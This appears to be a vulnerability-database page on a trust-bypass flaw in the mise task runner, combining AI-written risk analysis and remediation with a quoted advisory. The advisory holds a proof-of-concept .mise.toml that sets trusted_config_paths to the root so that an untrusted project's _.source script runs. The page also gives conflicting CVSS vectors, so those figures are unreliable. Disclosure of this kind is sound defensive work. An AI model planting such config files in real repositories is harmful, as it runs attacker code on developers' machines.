Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAttacker places malicious .mise.toml in repository
-
DeliveryDeveloper clones repository and runs mise command
-
ExploitTrust settings loaded before verification
-
ExecutionUntrusted config marked as trusted
-
ImpactMalicious _.source script executes with developer privileges
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Access control enforcement
MITRE ATT&CK
1 technique across 1 tactic: Defense Evasion The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Attacker must place malicious |
| Impact | Real-world risk is moderate despite the high CVSS 7.8 score. The CVSS vector (AV:L/AC:H/PR:N/UI:R/S:C) indicates local attack vector with high complexity requiring user interaction, but no privileges needed. Scope is Changed (S:C) because trust boundaries are violated. The high attack complexity (AC:H) and user interaction requirement (UI:R) significantly constrain exploitation: victims must clone a malicious repository, navigate to it, and execute mise commands (like mise hook-env). This limits automatic exploitation scenarios. No EPSS score is available, but the GitHub-only disclosure with detailed PoC suggests limited threat actor awareness. CISA KEV status is negative (not actively exploited at scale). The SSVC framework would likely classify this as Defer priority: exploitation requires social engineering (repository cloning), is not automatable without victim cooperation, and technical impact is localized to the developer's workstation rather than production infrastructure. However, supply-chain attack scenarios (malicious dependencies bundling .mise.toml files) could elevate risk for organizations heavily invested in the mise ecosystem. |
| Exploit ScenarioDerived | A malicious developer publishes an open-source project or submits a pull request containing a crafted .mise.toml file with trusted_config_paths = ["/"] and an [env] _.source directive pointing to a malicious shell script. A victim developer clones the repository to review or contribute code. When the victim navigates to the project directory and their shell invokes mise hook-env (common in automated shell configurations), mise loads the malicious .mise.toml, applies the attacker-defined trust path, marks the configuration as trusted, and executes the _.source script. The script runs with the victim's privileges, potentially exfiltrating credentials from environment variables, SSH keys, or cloud provider tokens, installing persistence mechanisms, or pivoting to other systems on the developer's network. Public exploit code exists in the GitHub advisory proof-of-concept demonstrating the complete attack chain on v2026.3.17. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 07, 2026
Local trust-control bypass in mise (Rust task runner) versions ≤2026.3.17 allows attackers to inject malicious configuration through .mise.toml files, leading to arbitrary code execution. By setting trusted_config_paths = ["/"] in a project-local config file, attackers bypass the trust verification mechanism that should prevent execution of dangerous directives like [env] _.source, hooks, templates, and tasks. Exploitation requires victim interaction (cloning/opening a malicious repository), but no authentication. EPSS data not available; no confirmed active exploitation or public exploit code beyond the GitHub advisory's proof-of-concept. Attack complexity is high due to the requirement for victim action and specific execution context (mise hook-env invocation).
RemediationAI
Upgrade to the patched version of mise once released by the vendor. The upstream GitHub advisory at github.com/jdx/mise/security/advisories/GHSA-436v-8fw5-4mj8 should be monitored for patch availability and the specific fixed version number. The suggested fix involves modifying the parse_settings_file() function to strip trust-control fields (trusted_config_paths, yes, ci, paranoid) from non-global configuration sources before they are used in trust validation. Until a patch is available, mitigation strategies include: manually auditing .mise.toml files in untrusted repositories before running mise commands; restricting mise usage to trusted codebases only; implementing organizational policies requiring code review of .mise.toml changes; and avoiding automatic mise hook-env execution in shell initialization when working with untrusted projects. Consider temporarily disabling mise shell integration (removing mise activate from shell profiles) and using explicit mise trust commands only after manual configuration review. Organizations should inventory all systems with mise installed and prepare for coordinated patching once the fix is released.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in cargo
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability stems from a time-of-check-to-time-of-use (TOCTOU) race in mise's configuration loading sequence. The Settings::try_get() function preloads local .mise.toml settings files before trust_check() validates whether the configuration source should be trusted. The is_trusted() function consults Settings::get().trusted_config_paths() to determine if a config file is in a trusted location, but this setting has already been populated from the untrusted local file itself. This creates a circular trust: the attacker-controlled .mise.toml defines its own trust boundary (e.g., trusted_config_paths = ["/"] to trust all absolute paths), which is then used to validate that same file. The CWE-284 (Improper Access Control) classification reflects this failure to enforce consistent trust boundaries across configuration sources. Additional regression variants allow local yes=true or ci=true settings to auto-approve trust prompts introduced in v2026.2.18, though the primary exploit path works across all versions through v2026.3.17.
Know when Docker gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
2DescriptionNVD
Summary
mise loads trust-control settings from a local project .mise.toml before the trust check runs. An attacker who can place a malicious .mise.toml in a repository can make that same file appear trusted and then reach dangerous directives such as [env] _.source, templates, hooks, or tasks.
The strongest current variant is trusted_config_paths = ["/"]. I confirmed on current v2026.3.17 in Docker that this causes an untrusted project config to become trusted during mise hook-env, which then executes an attacker-controlled _.source script. The same preload issue also lets local yes = true / ci = true auto-approve trust prompts on v2026.2.18+, but the primary PoC below uses the stronger trusted_config_paths path.
Details
The vulnerable load order is:
Settings::try_get()preloads local settings files.parse_settings_file()returnssettings_file.settingswithout checking whether the file is trusted.trust_check()later consults those already-loaded settings.
The main trust-bypass path is in is_trusted():
let settings = Settings::get();
for p in settings.trusted_config_paths() {
if canonicalized_path.starts_with(p) {
add_trusted(canonicalized_path.to_path_buf());
return true;
}
}If a local project file sets:
[settings]
trusted_config_paths = ["/"]then every absolute path matches, so the same untrusted file is marked trusted before the dangerous-directive guard is reached.
Related variant: trust_check() auto-accepts explicit trust prompts when Settings::get().yes is true, and Settings::try_get() sets yes = true when ci is set. I confirmed that regression on v2026.2.18, but the primary PoC below does not depend on it.
PoC
Test environment:
- Docker
linux-arm64mise v2026.3.17
Negative control:
[env]
_.source = ["./poc.sh"]mise ls fails with:
Config files in /work/poc/.mise.toml are not trusted.and /tmp/mise-proof.txt is not created.
Primary exploit:
[settings]
trusted_config_paths = ["/"]
[env]
_.source = ["./poc.sh"]with:
#!/usr/bin/env bash
echo trusted_paths_hookenv > /tmp/mise-proof.txtThen:
mise hook-env -s bash --forceObserved:
/tmp/mise-proof.txt => trusted_paths_hookenvRelated regression check:
v2026.2.17: localyes = truedoes not bypass trustv2026.2.18: the same localyes = truevalue auto-approves the trust prompt and the side effect file is created
Impact
An attacker who can place a .mise.toml in a repository can make mise trust and evaluate dangerous directives from that same untrusted file.
Demonstrated on current supported versions:
- execution via
[env] _.sourceduringmise hook-env - bypass of the protection that
mise trustis supposed to provide for dangerous config features
On newer versions, the same root cause also lets local yes / ci values auto-approve explicit trust prompts.
Suggested Fix
Do not honor trust-control settings from non-global project config files.
At minimum, ignore these fields when loading local project config:
trusted_config_pathsyesciparanoid
For example:
pub fn parse_settings_file(path: &Path) -> Result<SettingsPartial> {
let raw = file::read_to_string(path)?;
let settings_file: SettingsFile = toml::from_str(&raw)?;
let mut settings = settings_file.settings;
if !config::is_global_config(path) {
settings.yes = None;
settings.ci = None;
settings.trusted_config_paths = None;
settings.paranoid = None;
}
Ok(settings)
}Executive ViewAI
mise (Rust task runner) versions 2026.3.17 and earlier contain a local trust-control bypass that allows attackers to execute arbitrary code when developers clone or open a malicious repository containing a specially crafted .mise.toml file. This impacts development teams and CI/CD pipelines that rely on mise for task automation, potentially compromising build environments and source code integrity.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Disable mise hook execution by setting MISE_HOOK_ENABLE=false in development and CI/CD environments until patch availability; (2) Restrict .mise.toml modifications through file access controls and code review policies for external repositories; (3) Run mise in sandboxed or containerized environments with minimal privilege escalation permissions; (4) Configure Git hooks to reject or warn on .mise.toml modifications from untrusted sources.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac
Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post
Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten
Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build
Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config
Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system
Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per
Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l
Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c
EUVD-2026-19952
GHSA-436v-8fw5-4mj8
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB